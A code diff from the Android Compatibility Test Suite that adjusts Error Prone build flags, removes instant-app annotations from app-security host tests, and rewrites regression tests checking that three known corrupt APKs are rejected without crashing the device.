+        final SafeCleanerRule.MultipleExceptions actualException = expectThrows(
+                SafeCleanerRule.MultipleExceptions.class,
+                () -> rule.apply(new FailureStatement(testException), mDescription).evaluate());
+        assertThat(actualException.getThrowables())
+                .containsExactly(testException, error1, error2, extra1, extra2, extra3)
+                .inOrder();
+        verify(mGoodGuyRunner1).run();
+        verify(mGoodGuyRunner2).run();
+        verify(mGoodGuyExtraExceptions1).call();
+    }
+
+    @Test
+    public void testThrowTheKitchenSinkAKAEverybodyThrows_withDumper() throws Throwable {
+        final Exception extra1 = new Exception("1");
+        final Exception extra2 = new Exception("2");
+        final Exception extra3 = new Exception("3");
+        final Error error1 = new Error("one");
+        final Error error2 = new Error("two");
+        final RuntimeException testException  = new RuntimeException("TEST, Y U NO PASS?");
+        final SafeCleanerRule rule = new SafeCleanerRule()
+                .setDumper(mDumper)
+                .run(mGoodGuyRunner1)
+                .add(mGoodGuyExtraExceptions1)
+                .add(() -> {
+                    return ImmutableList.of(extra1, extra2);
+                })
+                .run(() -> {
+                    throw error1;
+                })
+                .run(mGoodGuyRunner2)
+                .add(() -> { return ImmutableList.of(extra3); })
+                .add(mGoodGuyExtraExceptions2)
+                .run(() -> { throw error2; });
+
+        final SafeCleanerRule.MultipleExceptions actualException = expectThrows(
+                SafeCleanerRule.MultipleExceptions.class,
+                () -> rule.apply(new FailureStatement(testException), mDescription).evaluate());
+        assertThat(actualException.getThrowables())
+                .containsExactly(testException, error1, error2, extra1, extra2, extra3)
+                .inOrder();
+        verify(mGoodGuyRunner1).run();
+        verify(mGoodGuyRunner2).run();
+        verify(mGoodGuyExtraExceptions1).call();
+        verify(mDumper).dump("Whatever", actualException);
+    }
+}
diff --git a/error_prone_rules.mk b/error_prone_rules.mk
index 33382dd..4e33114 100644
--- a/error_prone_rules.mk
+++ b/error_prone_rules.mk
@@ -1,3 +1,4 @@
+
 # Copyright (C) 2017 The Android Open Source Project
 #
 # Licensed under the Apache License, Version 2.0 (the "License");
@@ -13,23 +14,24 @@
 # limitations under the License.
 
 # Set of error prone rules to ensure code quality
-LOCAL_ERROR_PRONE_FLAGS:= -Xep:ArrayToString:ERROR \
-                          -Xep:BoxedPrimitiveConstructor:ERROR \
-                          -Xep:ConstantField:ERROR \
-                          -Xep:EqualsIncompatibleType:ERROR \
-                          -Xep:FormatString:ERROR \
-                          -Xep:GetClassOnClass:ERROR \
-                          -Xep:IdentityBinaryExpression:ERROR \
-                          -Xep:JUnit3TestNotRun:ERROR \
-                          -Xep:JUnit4ClassUsedInJUnit3:ERROR \
-                          -Xep:JUnitAmbiguousTestClass:ERROR \
-                          -Xep:MissingFail:ERROR \
-                          -Xep:MissingOverride:ERROR \
-                          -Xep:Overrides:ERROR \
-                          -Xep:ReferenceEquality:ERROR \
-                          -Xep:RemoveUnusedImports:ERROR \
-                          -Xep:ReturnValueIgnored:ERROR \
-                          -Xep:SelfEquals:ERROR \
-                          -Xep:SizeGreaterThanOrEqualsZero:ERROR \
-                          -Xep:TryFailThrowable:ERROR
+# When updating this list, also update cts_error_prone_rules in Android.bp
+LOCAL_ERROR_PRONE_FLAGS += -Xep:ArrayToString:ERROR \
+                           -Xep:BoxedPrimitiveConstructor:ERROR \
+                           -Xep:ConstantField:ERROR \
+                           -Xep:EqualsIncompatibleType:ERROR \
+                           -Xep:FormatString:ERROR \
+                           -Xep:GetClassOnClass:ERROR \
+                           -Xep:IdentityBinaryExpression:ERROR \
+                           -Xep:JUnit3TestNotRun:ERROR \
+                           -Xep:JUnit4ClassUsedInJUnit3:ERROR \
+                           -Xep:JUnitAmbiguousTestClass:ERROR \
+                           -Xep:MissingFail:ERROR \
+                           -Xep:MissingOverride:ERROR \
+                           -Xep:Overrides:ERROR \
+                           -Xep:ReferenceEquality:ERROR \
+                           -Xep:RemoveUnusedImports:ERROR \
+                           -Xep:ReturnValueIgnored:ERROR \
+                           -Xep:SelfEquals:ERROR \
+                           -Xep:SizeGreaterThanOrEqualsZero:ERROR \
+                           -Xep:TryFailThrowable:ERROR \
 
diff --git a/error_prone_rules_tests.mk b/error_prone_rules_tests.mk
index a8d88b0..d581a6d 100644
--- a/error_prone_rules_tests.mk
+++ b/error_prone_rules_tests.mk
@@ -13,18 +13,19 @@
 # limitations under the License.
 
 # Set of error prone rules to ensure code quality of tests
+# When updating this list, also update cts_error_prone_rules_tests in Android.bp
 
 # Goal is to eventually merge with error_prone_rules.mk
-LOCAL_ERROR_PRONE_FLAGS:= -Xep:ArrayToString:ERROR \
-                          -Xep:CollectionIncompatibleType:ERROR \
-                          -Xep:EqualsIncompatibleType:ERROR \
-                          -Xep:EqualsNaN:ERROR \
-                          -Xep:FormatString:ERROR \
-                          -Xep:IdentityBinaryExpression:ERROR \
-                          -Xep:JUnit3TestNotRun:ERROR \
-                          -Xep:JUnit4ClassUsedInJUnit3:ERROR \
-                          -Xep:JUnitAmbiguousTestClass:ERROR \
-                          -Xep:MissingFail:ERROR \
-                          -Xep:SizeGreaterThanOrEqualsZero:ERROR \
-                          -Xep:TryFailThrowable:ERROR
+LOCAL_ERROR_PRONE_FLAGS += -Xep:ArrayToString:ERROR \
+                           -Xep:CollectionIncompatibleType:ERROR \
+                           -Xep:EqualsIncompatibleType:ERROR \
+                           -Xep:EqualsNaN:ERROR \
+                           -Xep:FormatString:ERROR \
+                           -Xep:IdentityBinaryExpression:ERROR \
+                           -Xep:JUnit3TestNotRun:ERROR \
+                           -Xep:JUnit4ClassUsedInJUnit3:ERROR \
+                           -Xep:JUnitAmbiguousTestClass:ERROR \
+                           -Xep:MissingFail:ERROR \
+                           -Xep:SizeGreaterThanOrEqualsZero:ERROR \
+                           -Xep:TryFailThrowable:ERROR \
 
diff --git a/hostsidetests/appsecurity/Android.mk b/hostsidetests/appsecurity/Android.mk
index 59ef75e..e0470a7 100644
--- a/hostsidetests/appsecurity/Android.mk
+++ b/hostsidetests/appsecurity/Android.mk
@@ -23,21 +23,16 @@
 
 LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
 
-LOCAL_STATIC_JAVA_LIBRARIES := truth-host-prebuilt
+LOCAL_STATIC_JAVA_LIBRARIES := truth-prebuilt-jar
 
 LOCAL_JAVA_RESOURCE_DIRS := res
 
 LOCAL_CTS_TEST_PACKAGE := android.appsecurity
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-LOCAL_REQUIRED_MODULES := \
-	CtsCorruptApkTests_b71360999 \
-	CtsCorruptApkTests_b71361168 \
-	CtsCorruptApkTests_b79488511
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_HOST_JAVA_LIBRARY)
 
 # Build the test APKs using their own makefiles
-include $(call all-makefiles-under,$(LOCAL_PATH))
\ No newline at end of file
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java
index ad98fa2..aa7e4a0 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java
@@ -25,7 +25,6 @@
 
 import static org.junit.Assert.fail;
 
-import android.platform.test.annotations.AppModeFull;
 import com.android.tradefed.device.CollectingOutputReceiver;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
@@ -76,7 +75,6 @@
      * sniffed from the underlying fstab.
      */
     @Test
-    @AppModeFull // TODO: Needs porting to instant
     public void testFeatureConsistent() throws Exception {
         final boolean hasFeature = hasFeature();
         final boolean hasFstab = hasFstab();
@@ -87,7 +85,6 @@
     }
 
     @Test
-    @AppModeFull // TODO: Needs porting to instant
     public void testApps() throws Exception {
         if (!isSupportedDevice()) return;
         final String diskId = getAdoptionDisk();
@@ -139,7 +136,6 @@
     }
 
     @Test
-    @AppModeFull // TODO: Needs porting to instant
     public void testPrimaryStorage() throws Exception {
         if (!isSupportedDevice()) return;
         final String diskId = getAdoptionDisk();
@@ -240,7 +236,6 @@
      * adopted volumes.
      */
     @Test
-    @AppModeFull // TODO: Needs porting to instant
     public void testPackageInstaller() throws Exception {
         if (!isSupportedDevice()) return;
         final String diskId = getAdoptionDisk();
@@ -270,7 +265,6 @@
      * returned at a later time.
      */
     @Test
-    @AppModeFull // TODO: Needs porting to instant
     public void testEjected() throws Exception {
         if (!isSupportedDevice()) return;
         final String diskId = getAdoptionDisk();
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
index 3231d0c..02e62d3 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
@@ -21,7 +21,6 @@
 import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
 
-import android.platform.test.annotations.AppModeFull;
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.ddmlib.Log;
 import com.android.tradefed.device.DeviceNotAvailableException;
@@ -102,7 +101,6 @@
      * if it is signed with a different certificate.
      */
     @Test
-    @AppModeFull // TODO: Needs porting to instant
     public void testSharedUidDifferentCerts() throws Exception {
         Log.i(LOG_TAG, "installing apks with shared uid, but different certs");
         try {
@@ -132,7 +130,6 @@
      * certificate.
      */
     @Test
-    @AppModeFull // TODO: Needs porting to instant
     public void testAppUpgradeDifferentCerts() throws Exception {
         Log.i(LOG_TAG, "installing app upgrade with different certs");
         try {
@@ -159,7 +156,6 @@
      * Test that an app cannot access another app's private data.
      */
     @Test
-    @AppModeFull // TODO: Needs porting to instant
     public void testAppFailAccessPrivateData() throws Exception {
         Log.i(LOG_TAG, "installing app that attempts to access another app's private data");
         try {
@@ -191,7 +187,6 @@
      * Test that uninstall of an app removes its private data.
      */
     @Test
-    @AppModeFull // TODO: Needs porting to instant
     public void testUninstallRemovesData() throws Exception {
         Log.i(LOG_TAG, "Uninstalling app, verifying data is removed.");
         try {
@@ -224,7 +219,6 @@
      * Test that an app cannot instrument another app that is signed with different certificate.
      */
     @Test
-    @AppModeFull // TODO: Needs porting to instant
     public void testInstrumentationDiffCert() throws Exception {
         Log.i(LOG_TAG, "installing app that attempts to instrument another app");
         try {
@@ -259,7 +253,6 @@
      * certificate than the app that declared the permission.
      */
     @Test
-    @AppModeFull // TODO: Needs porting to instant
     public void testPermissionDiffCert() throws Exception {
         Log.i(LOG_TAG, "installing app that attempts to use permission of another app");
         try {
@@ -297,7 +290,6 @@
      * Tests that an arbitrary file cannot be installed using the 'cmd' command.
      */
     @Test
-    @AppModeFull // TODO: Needs porting to instant
     public void testAdbInstallFile() throws Exception {
         String output = getDevice().executeShellCommand(
                 "cmd package install -S 1024 /data/local/tmp/foo.apk");
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ClassloaderSplitsTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ClassloaderSplitsTest.java
index 6830f30..f4f6d9e 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ClassloaderSplitsTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ClassloaderSplitsTest.java
@@ -15,7 +15,6 @@
  */
 package android.appsecurity.cts;
 
-import android.platform.test.annotations.AppModeFull;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import com.android.tradefed.testtype.IBuildReceiver;
 import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
@@ -58,14 +57,12 @@
     }
 
     @Test
-    @AppModeFull // TODO: Needs porting to instant
     public void testBaseClassLoader() throws Exception {
         new InstallMultiple().addApk(APK_BASE).run();
         runDeviceTests(getDevice(), PKG, TEST_CLASS, "testBaseClassLoader");
     }
 
     @Test
-    @AppModeFull // TODO: Needs porting to instant
     public void testFeatureAClassLoader() throws Exception {
         new InstallMultiple().addApk(APK_BASE).addApk(APK_FEATURE_A).run();
         runDeviceTests(getDevice(), PKG, TEST_CLASS, "testBaseClassLoader");
@@ -73,7 +70,6 @@
     }
 
     @Test
-    @AppModeFull // TODO: Needs porting to instant
     public void testFeatureBClassLoader() throws Exception {
         new InstallMultiple().addApk(APK_BASE).addApk(APK_FEATURE_A).addApk(APK_FEATURE_B).run();
         runDeviceTests(getDevice(), PKG, TEST_CLASS, "testBaseClassLoader");
@@ -82,7 +78,6 @@
     }
 
     @Test
-    @AppModeFull // TODO: Needs porting to instant
     public void testReceiverClassLoaders() throws Exception {
         new InstallMultiple().addApk(APK_BASE).addApk(APK_FEATURE_A).addApk(APK_FEATURE_B).run();
         runDeviceTests(getDevice(), PKG, TEST_CLASS, "testBaseClassLoader");
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/CorruptApkTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/CorruptApkTests.java
index 8ac50af..d09c525 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/CorruptApkTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/CorruptApkTests.java
@@ -15,23 +15,18 @@
  */
 package android.appsecurity.cts;
 
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotEquals;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.fail;
+import static com.google.common.truth.Truth.assertThat;
 
-import com.android.ddmlib.Log.LogLevel;
+import android.platform.test.annotations.AppModeFull;
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.result.InputStreamSource;
 import com.android.tradefed.testtype.DeviceTestCase;
 import com.android.tradefed.testtype.IBuildReceiver;
 import com.android.tradefed.util.FileUtil;
 
 import org.junit.After;
-import org.junit.Assert;
 import org.junit.Before;
 
 import java.io.File;
@@ -40,114 +35,104 @@
  * Set of tests that verify that corrupt APKs are properly rejected by PackageManager and
  * do not cause the system to crash.
  */
+@AppModeFull // TODO: Needs porting to instant
 public class CorruptApkTests extends DeviceTestCase implements IBuildReceiver {
+    private final String B71360999_PKG = "com.android.appsecurity.b71360999";
+    private final String B71361168_PKG = "com.android.appsecurity.b71361168";
+    private final String B79488511_PKG = "com.android.appsecurity.b79488511";
 
     private IBuildInfo mBuildInfo;
 
-    /** A container for information about the system_server process. */
-    private class SystemServerInformation {
-        final long mPid;
-        final long mStartTime;
-
-        SystemServerInformation(long pid, long startTime) {
-            this.mPid = pid;
-            this.mStartTime = startTime;
-        }
-
-        @Override
-        public boolean equals(Object actual) {
-            return (actual instanceof SystemServerInformation)
-                && mPid == ((SystemServerInformation) actual).mPid
-                && mStartTime == ((SystemServerInformation) actual).mStartTime;
-        }
-    }
-
-    /** Retrieves the process id and elapsed run time of system_server. */
-    private SystemServerInformation retrieveInfo() throws DeviceNotAvailableException {
-        ITestDevice device = getDevice();
-
-        // Retrieve the process id of system_server
-        String pidResult = device.executeShellCommand("pidof system_server").trim();
-        assertNotNull("Failed to retrieve pid of system_server", pidResult);
-        long pid = 0;
-        try {
-            pid = Long.parseLong(pidResult);
-        } catch (NumberFormatException | IndexOutOfBoundsException e) {
-            fail("Unable to parse pid of system_server '" + pidResult + "'");
-        }
-
-        // Retrieve the start time of system_server
-        long startTime = 0;
-        String pidStats = device.executeShellCommand("cat /proc/" + pid + "/stat");
-        assertNotNull("Failed to retrieve stat of system_server with pid '" + pid + "'", pidStats);
-        try {
-            String startTimeJiffies = pidStats.split("\\s+")[21];
-            startTime = Long.parseLong(startTimeJiffies);
-        } catch (NumberFormatException | IndexOutOfBoundsException e) {
-            fail("Unable to parse system_server stat file '" + pidStats + "'");
-        }
-
-        return new SystemServerInformation(pid, startTime);
-    }
-
     @Override
     public void setBuild(IBuildInfo buildInfo) {
         mBuildInfo = buildInfo;
     }
 
-   /** Uninstall any test APKs already present on device. */
-    private void uninstallApks() throws DeviceNotAvailableException {
-        ITestDevice device = getDevice();
-        device.uninstallPackage("com.android.appsecurity.b71360999");
-        device.uninstallPackage("com.android.appsecurity.b71361168");
-        device.uninstallPackage("com.android.appsecurity.b79488511");
-    }
-
     @Before
     @Override
     public void setUp() throws Exception {
         super.setUp();
-        uninstallApks();
+        uninstall(B71360999_PKG);
+        uninstall(B71361168_PKG);
+        uninstall(B79488511_PKG);
     }
 
     @After
     @Override
     public void tearDown() throws Exception {
         super.tearDown();
-        uninstallApks();
+        uninstall(B71360999_PKG);
+        uninstall(B71361168_PKG);
+        uninstall(B79488511_PKG);
+    }
+
+    /** Uninstall the apk if the test failed previously. */
+    public void uninstall(String pkg) throws Exception {
+        ITestDevice device = getDevice();
+        if (device.getInstalledPackageNames().contains(pkg)) {
+            device.uninstallPackage(pkg);
+        }
     }
 
     /**
-     * Asserts that installing the application does not cause a native error causing system_server
-     * to crash (typically the result of a buffer overflow or an out-of-bounds read).
+     * Tests that apks described in b/71360999 do not install successfully.
      */
-    private void assertInstallDoesNotCrashSystem(String apk) throws Exception {
-        SystemServerInformation beforeInfo = retrieveInfo();
+    public void testFailToInstallCorruptStringPoolHeader_b71360999() throws Exception {
+        final String APK_PATH = "CtsCorruptApkTests_b71360999.apk";
+        assertInstallNoFatalError(APK_PATH, B71360999_PKG);
+    }
 
-        final String result = getDevice().installPackage(
-                new CompatibilityBuildHelper(mBuildInfo).getTestFile(apk),
-                false /*reinstall*/);
-        CLog.logAndDisplay(LogLevel.INFO, "Result: '" + result + "'");
-        if (result != null) {
-            assertFalse("Install package segmentation faulted",
-                result.toLowerCase().contains("segmentation fault"));
+    /**
+     * Tests that apks described in b/71361168 do not install successfully.
+     */
+    public void testFailToInstallCorruptStringPoolHeader_b71361168() throws Exception {
+        final String APK_PATH = "CtsCorruptApkTests_b71361168.apk";
+        assertInstallNoFatalError(APK_PATH, B71361168_PKG);
+    }
+
+    /**
+     * Tests that apks described in b/79488511 do not install successfully.
+     */
+    public void testFailToInstallCorruptStringPoolHeader_b79488511() throws Exception {
+        final String APK_PATH = "CtsCorruptApkTests_b79488511.apk";
+        assertInstallNoFatalError(APK_PATH, B79488511_PKG);
+    }
+
+    /**
+     * Assert that installing the app does not cause a native error caused by a buffer overflow
+     * or an out-of-bounds read.
+     **/
+    private void assertInstallNoFatalError(String filename, String pkg) throws Exception {
+        ITestDevice device = getDevice();
+        device.clearLogcat();
+
+        final String result = device.installPackage(
+                new CompatibilityBuildHelper(mBuildInfo).getTestFile(filename),
+                true /*reinstall*/);
+
+        // Starting from P, corrupt apks should always fail to install
+        if (device.getApiLevel() >= 28) {
+            assertThat(result).isNotNull();
+            assertThat(result).isNotEmpty();
+            assertThat(device.getInstalledPackageNames()).doesNotContain(pkg);
         }
 
-        assertEquals("system_server restarted", beforeInfo, retrieveInfo());
+        // This catches if the device fails to install the app because a segmentation fault
+        // or out of bounds read created by the bug occurs
+        File tmpTxtFile = null;
+        InputStreamSource source = device.getLogcat(200 * 1024);
+        try {
+            assertNotNull(source);
+            tmpTxtFile = FileUtil.createTempFile("logcat", ".txt");
+            FileUtil.writeToFile(source.createInputStream(), tmpTxtFile);
+            String s = FileUtil.readStringFromFile(tmpTxtFile);
+            assertFalse(s.contains("SIGSEGV"));
+            assertFalse(s.contains("==ERROR"));
+        } finally {
+            source.close();
+            if (tmpTxtFile != null) {
+                FileUtil.deleteFile(tmpTxtFile);
+            }
+        }
     }
-
-    /** Tests that installing the APK described in b/71360999 does not crash the device. */
-    public void testSafeInstallOfCorruptAPK_b71360999() throws Exception {
-        assertInstallDoesNotCrashSystem("CtsCorruptApkTests_b71360999.apk");
-    }
-
-    /** Tests that installing the APK described in b/71361168 does not crash the device. */
-    public void testSafeInstallOfCorruptAPK_b71361168() throws Exception {
-        assertInstallDoesNotCrashSystem("CtsCorruptApkTests_b71361168.apk");
-    }
-
-    /** Tests that installing the APK described in b/79488511 does not crash the device. */
-    public void testSafeInstallOfCorruptAPK_b79488511() throws Exception {
-        assertInstallDoesNotCrashSystem("CtsCorruptApkTests_b79488511.apk");
-    }
-}
\ No newline at end of file
+}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
index 2d1386f..559380d 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
@@ -19,7 +19,6 @@
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertTrue;
 
-import android.platform.test.annotations.AppModeFull;
 import com.android.ddmlib.AdbCommandRejectedException;
 import com.android.ddmlib.CollectingOutputReceiver;
 import com.android.ddmlib.Log;
@@ -80,7 +79,6 @@
      * Automotive devices MUST support native FBE.
      */
     @Test
-    @AppModeFull // TODO: Needs porting to instant
     public void testAutomotiveNativeFbe() throws Exception {
         if (!isSupportedDevice()) {
             Log.v(TAG, "Device not supported; skipping test");
@@ -98,7 +96,6 @@
      * If device has native FBE, verify lifecycle.
      */
     @Test
-    @AppModeFull // TODO: Needs porting to instant
     public void testDirectBootNative() throws Exception {
         if (!isSupportedDevice()) {
             Log.v(TAG, "Device not supported; skipping test");
@@ -115,7 +112,6 @@
      * If device doesn't have native FBE, enable emulation and verify lifecycle.
      */
     @Test
-    @AppModeFull // TODO: Needs porting to instant
     public void testDirectBootEmulated() throws Exception {
         if (!isSupportedDevice()) {
             Log.v(TAG, "Device not supported; skipping test");
@@ -132,7 +128,6 @@
      * If device doesn't have native FBE, verify normal lifecycle.
      */
     @Test
-    @AppModeFull // TODO: Needs porting to instant
     public void testDirectBootNone() throws Exception {
         if (!isSupportedDevice()) {
             Log.v(TAG, "Device not supported; skipping test");
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTest.java
index 6530e96..6f3b8cd 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTest.java
@@ -16,14 +16,12 @@
 
 package android.appsecurity.cts;
 
-import android.platform.test.annotations.AppModeFull;
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 
 /**
  * Set of tests that verify behavior of
  * {@link android.provider.DocumentsContract} and related intents.
  */
-@AppModeFull // TODO: Needs porting to instant
 public class DocumentsTest extends DocumentsTestCase {
     private static final String PROVIDER_PKG = "com.android.cts.documentprovider";
     private static final String PROVIDER_APK = "CtsDocumentProvider.apk";
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java
index 53ec3d4..56d605e 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java
@@ -16,7 +16,6 @@
 
 package android.appsecurity.cts;
 
-import android.platform.test.annotations.AppModeFull;
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.device.DeviceNotAvailableException;
@@ -34,7 +33,6 @@
 /**
  * Tests for ephemeral packages.
  */
-@AppModeFull // Already handles instant installs when needed.
 public class EphemeralTest extends DeviceTestCase
         implements IAbiReceiver, IBuildReceiver {
 
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
index c2a0531..3ba96ea 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
@@ -21,7 +21,6 @@
 import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
 
-import android.platform.test.annotations.AppModeFull;
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.ddmlib.Log;
 import com.android.tradefed.device.DeviceNotAvailableException;
@@ -79,7 +78,6 @@
      * Verify that app with no external storage permissions works correctly.
      */
     @Test
-    @AppModeFull // TODO: Needs porting to instant
     public void testExternalStorageNone() throws Exception {
         try {
             wipePrimaryExternalStorage();
@@ -103,7 +101,6 @@
      * correctly.
      */
     @Test
-    @AppModeFull // TODO: Needs porting to instant
     public void testExternalStorageRead() throws Exception {
         try {
             wipePrimaryExternalStorage();
@@ -127,7 +124,6 @@
      * correctly.
      */
     @Test
-    @AppModeFull // TODO: Needs porting to instant
     public void testExternalStorageWrite() throws Exception {
         try {
             wipePrimaryExternalStorage();
@@ -150,7 +146,6 @@
      * directories belonging to other apps, and those apps can read.
      */
     @Test
-    @AppModeFull // TODO: Needs porting to instant
     public void testExternalStorageGifts() throws Exception {
         try {
             wipePrimaryExternalStorage();
@@ -185,7 +180,6 @@
      * isolated storage.
      */
     @Test
-    @AppModeFull // TODO: Needs porting to instant
     public void testMultiUserStorageIsolated() throws Exception {
         try {
             if (mUsers.length == 1) {
@@ -232,7 +226,6 @@
      * when apps with r/w permission levels move around their files.
      */
     @Test
-    @AppModeFull // TODO: Needs porting to instant
     public void testMultiViewMoveConsistency() throws Exception {
         try {
             wipePrimaryExternalStorage();
@@ -276,7 +269,6 @@
 
     /** Verify that app without READ_EXTERNAL can play default URIs in external storage. */
     @Test
-    @AppModeFull // TODO: Needs porting to instant
     public void testExternalStorageReadDefaultUris() throws Exception {
         try {
             wipePrimaryExternalStorage();
@@ -313,7 +305,6 @@
      * tool to read/write files in those locations.
      */
     @Test
-    @AppModeFull // TODO: Needs porting to instant
     public void testSecondaryUsersInaccessible() throws Exception {
         List<String> mounts = new ArrayList<>();
         for (String line : getDevice().executeShellCommand("cat /proc/mounts").split("\n")) {
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/InstantAppUserTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/InstantAppUserTest.java
index b6cd29d..4609e8a 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/InstantAppUserTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/InstantAppUserTest.java
@@ -16,7 +16,6 @@
 
 package android.appsecurity.cts;
 
-import android.platform.test.annotations.AppModeFull;
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.device.DeviceNotAvailableException;
@@ -30,7 +29,6 @@
 /**
  * Tests for ephemeral packages.
  */
-@AppModeFull // Already handles instant installs when needed.
 public class InstantAppUserTest extends DeviceTestCase
         implements IAbiReceiver, IBuildReceiver {
 
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/InstantCookieHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/InstantCookieHostTest.java
index 0fc41ab..97658eb 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/InstantCookieHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/InstantCookieHostTest.java
@@ -16,7 +16,6 @@
 
 package android.appsecurity.cts;
 
-import android.platform.test.annotations.AppModeFull;
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.device.DeviceNotAvailableException;
@@ -26,7 +25,6 @@
 /**
  * Tests for the instant cookie APIs
  */
-@AppModeFull // Already handles instant installs when needed.
 public class InstantCookieHostTest extends DeviceTestCase implements IBuildReceiver {
     private static final String INSTANT_COOKIE_APP_APK = "CtsInstantCookieApp.apk";
     private static final String INSTANT_COOKIE_APP_PKG = "test.instant.cookie";
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/IsolatedSplitsTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/IsolatedSplitsTests.java
index dc08b6c..8795fe8 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/IsolatedSplitsTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/IsolatedSplitsTests.java
@@ -15,12 +15,10 @@
  */
 package android.appsecurity.cts;
 
-import android.platform.test.annotations.AppModeFull;
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.testtype.DeviceTestCase;
 import com.android.tradefed.testtype.IBuildReceiver;
 
-@AppModeFull // TODO: Needs porting to instant
 public class IsolatedSplitsTests extends DeviceTestCase implements IBuildReceiver {
     private static final String PKG = "com.android.cts.isolatedsplitapp";
     private static final String TEST_CLASS = PKG + ".SplitAppTest";
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/KeySetHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/KeySetHostTest.java
index 28061f6..03a1189 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/KeySetHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/KeySetHostTest.java
@@ -16,7 +16,6 @@
 
 package android.appsecurity.cts;
 
-import android.platform.test.annotations.AppModeFull;
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
 import com.android.ddmlib.testrunner.TestResult.TestStatus;
@@ -37,7 +36,6 @@
 /**
  * Tests for Keyset based features.
  */
-@AppModeFull // TODO: Needs porting to instant
 public class KeySetHostTest extends DeviceTestCase implements IBuildReceiver {
 
     private static final String RUNNER = "android.support.test.runner.AndroidJUnitRunner";
